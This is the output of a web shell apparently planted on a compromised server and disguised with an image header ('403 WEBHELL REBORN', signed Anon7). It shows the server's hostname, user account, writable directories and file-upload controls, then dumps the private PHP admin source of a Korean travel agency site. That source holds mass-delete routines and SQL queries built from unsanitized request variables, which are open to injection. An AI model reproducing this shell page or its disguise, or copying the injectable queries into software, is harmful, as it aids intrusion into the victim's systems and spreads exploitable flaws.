ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/setting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/setting/setup_proc.html
<?php 
include "../include/top_proc.html";

//print_r2($_REQUEST);

if($TK_MEMBER['mb_id']!="click") exit;

// 여행상품 예약삭제
if($SqlType=="res_good_del"){
	if(!$res_good_yy) exit;

	// 정산
	db_query("delete FROM `TB_ACCOUNT_GOOD` where res_no IN (SELECT res_no FROM TB_RES_GOOD WHERE LEFT(ins_dt,4) = '{$res_good_yy}')");
	
	// 입출금
	db_query("delete FROM `TB_ACCOUNT_GOOD` WHERE res_no IN (SELECT res_no FROM TB_RES_GOOD WHERE LEFT(ins_dt,4) = '{$res_good_yy}')");
	db_query("delete FROM `TB_ACCOUNT_CUSTOMER` WHERE res_no IN (SELECT res_no FROM TB_RES_GOOD WHERE LEFT(ins_dt,4) = '{$res_good_yy}')");
	
	// 여행예약 삭제
	db_query("delete FROM TB_RES_GOOD_OPTION WHERE res_no IN (SELECT res_no FROM TB_RES_GOOD WHERE LEFT(ins_dt,4) = '{$res_good_yy}')"); // 여행옵션
	db_query("delete FROM TB_RES_GOOD_PERSON WHERE res_no IN (SELECT res_no FROM TB_RES_GOOD WHERE LEFT(ins_dt,4) = '{$res_good_yy}')"); // 동행자
	db_query("delete FROM TB_RES_BANK where res_no IN (SELECT res_no FROM TB_RES_GOOD WHERE LEFT(ins_dt,4) = '{$res_good_yy}')"); // 입금예약
	db_query("delete FROM TB_RES_GOOD_DATE WHERE res_no IN (SELECT res_no FROM TB_RES_GOOD WHERE LEFT(ins_dt,4) = '{$res_good_yy}')"); // 행사	
	db_query("delete FROM TB_RES_GOOD WHERE LEFT(ins_dt,4) = '{$res_good_yy}'"); // 예약
	
	
	// sms 히스토리 삭제
	db_query("DELETE FROM TB_SMS_HISTORY");

	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}

// 여행상품 삭제
elseif($SqlType=="good_del"){
	$upload = "../../FileData/good_img/";
	$upload_thum = "../../FileData/good_img_thum/";
	
	$rs=db_query("select * from good");
	
	while($row=db_fetch_array($rs)){
		@unlink($upload.$row['g_image1']);// 대표 이미지 삭제
		@unlink($upload_thum.$row['g_image1']);// 썸네일이미지 삭제
		
		// 갤러리 삭제
		$gallery_arr = TO_get_good_photo($row['g_uid']);
		for($i=0 ; $i<count($gallery_arr) ; $i++){
			$arr = $gallery_arr[$i];
			@unlink($upload.$arr['ImgTitle']); // 이미지 삭제
			@unlink($upload_thum.$arr['ImgTitle']); // 썸네일이미지 삭제
		}
	}
	
	db_query("delete FROM `date` where d_uid not in(select ev_uid  from TB_RES_GOOD) and d_people1=0");
	db_query("delete FROM `TB_GOOD_DATE_TYPE`");
	db_query("delete FROM `TB_GOOD_DEPOT`");
	db_query("delete FROM `TB_GOOD_OPTION`");
	db_query("delete FROM TB_GoodImg");
	db_query("delete FROM `good`");
	
	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}

// 호텔 예약 삭제
elseif($SqlType=="res_hotel_del"){
	if(!$res_hotel_yy) exit;

	// 정산
	db_query("delete FROM `TB_ACCOUNT_HOTEL` where res_no IN (SELECT res_no FROM TB_RES_HOTEL WHERE LEFT(ins_dt,4) = '{$res_hotel_yy}')");
	
	// 입출금
	db_query("delete FROM `TB_ACCOUNT_GOOD` WHERE res_no IN (SELECT res_no FROM TB_RES_HOTEL WHERE LEFT(ins_dt,4) = '{$res_hotel_yy}')");
	db_query("delete FROM `TB_ACCOUNT_CUSTOMER` WHERE res_no IN (SELECT res_no FROM TB_RES_HOTEL WHERE LEFT(ins_dt,4) = '{$res_hotel_yy}')");	
	
	// 호텔예약 삭제
	db_query("delete FROM `TB_RES_HOTEL_PERSON` WHERE res_no IN (SELECT res_no FROM TB_RES_HOTEL WHERE LEFT(ins_dt,4) = '{$res_hotel_yy}')");
	db_query("delete FROM `TB_RES_HOTEL_OPTION` WHERE res_no IN (SELECT res_no FROM TB_RES_HOTEL WHERE LEFT(ins_dt,4) = '{$res_hotel_yy}')");
	db_query("delete FROM TB_RES_HOTEL WHERE LEFT(room_date,4) = '{$res_hotel_yy}'");

	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}

// 호텔 삭제
elseif($SqlType=="hotel_del"){
	$upload = "../../FileData/hotel/"; 
	$upload_thum = "../../FileData/hotel_thum/";

	$rs=db_query("select * from TB_HOTEL");
	
	while($row=db_fetch_array($rs)){
		@unlink($upload.$row['img1']);// 대표 이미지 삭제
		@unlink($upload_thum.$row['img1']);// 썸네일이미지 삭제
	
		// 갤러리 삭제
		$rs2 = db_query("select * from TB_HOTEL_GALLERY where hotel_seq='".$row['hseq']."' ");
		$gallery_arr = db_fetch_all($rs2);
		for($i=0 ; $i<count($gallery_arr) ; $i++){
			$arr = $gallery_arr[$i];
			@unlink($upload.$arr['img']); // 이미지 삭제
			@unlink($upload_thum.$arr['img']); // 썸네일이미지 삭제
		}
	}

	##db_query("");
	db_query("delete FROM TB_HOTEL_ROOMTYPE");
	db_query("delete FROM TB_HOTEL_PLACE");
	db_query("delete FROM TB_HOTEL_OPTION");
	db_query("delete FROM TB_HOTEL_GALLERY");
	db_query("delete FROM TB_HOTEL");
	
	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}


// 통합예약 삭제
elseif($SqlType=="res_tot_del"){
	db_query("delete from TB_RES_ALL");
	
	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}

// 상담정보 삭제
elseif($SqlType=="contab_del"){
	db_query("delete from TB_CONTAB");
	db_query("delete from TB_CONTAB_SD");

	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}

// 회원정보 삭제
elseif($SqlType=="member_del"){
	if(!$mb) exit;
	
	switch($mb){
		case "member": // 회원
			// 포인트삭제
			db_query("delete from TB_POINT_LOG where mb_id in (select mb_id from TB_MEMBER where mb_level='21')");
			
			// 찜 삭제
			db_query("delete from TB_MEMBER_WISH where mb_id in (select mb_id from TB_MEMBER where mb_level='21')");
			
			// 회원삭제
			db_query("delete from TB_MEMBER where mb_level='21'");
		break;
		case "admin": // 관리자
			// 회원삭제
			db_query("delete from TB_MEMBER where mb_id<>'click' and mb_level in ('1','2','3')");		
			break;		
		case "agent": // 대리점
			// 대리점 삭제
			db_query("delete from TB_MEMBER where mb_level='12'");				
		break;
		case "trade": // 거래처
			// 거래처 삭제
			db_query("delete from TB_MEMBER where mb_level='13'");				
		break;		
	}

	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}

// 지출결의서 삭제
elseif($SqlType=="paper_del"){
	db_query("delete from TB_PAPER_GOOD_CAL");

	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}

//  게시물 삭제
elseif($SqlType=="board_del"){
	if(!$BD_CD) exit;
	
	$upload_board = "../../FileData/board/".$BD_CD;
	
	$data_file = get_dirlist($upload_board);
	
	// 첨부파일 삭제
	for($i=0 ; $i<count($data_file) ; $i++){
		@unlink($upload_board."/".$data_file[$i]);		
	}
	
	// 게시물 삭제
	db_query("delete from {$BD_CD};");	
	db_query("delete from {$BD_CD}_COMT;");
	
	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}

//  ckfile 이미지 삭제
elseif($SqlType=="ckfile_del") {

	$upload_board = "../../FileData/ckfinder/";
	
	// 삭제
	@rm_dir($upload_board);
	
	// 디렉토리 생성
	@mkdir($upload_board."images",0777,true);

	error_msg("alert('삭제 완료 했습니다.');document.location.reload();","script");
}
?>

Anon7 - 2021